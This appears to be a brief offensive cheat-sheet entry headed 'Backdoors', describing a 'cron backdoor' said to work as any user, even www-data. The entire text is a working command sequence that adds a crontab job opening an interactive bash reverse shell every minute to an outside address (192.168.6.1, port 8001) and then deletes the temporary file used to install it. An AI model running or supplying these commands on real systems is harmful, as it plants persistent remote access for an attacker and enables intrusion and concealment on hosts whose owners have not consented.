Backdoors

Cron Backdoor

Works as any user, even www-data.

cd /tmp
touch .tab 
crontab -l > .tab
echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.6.1/8001 0>&1'" >> .tab
crontab .tab
rm .tab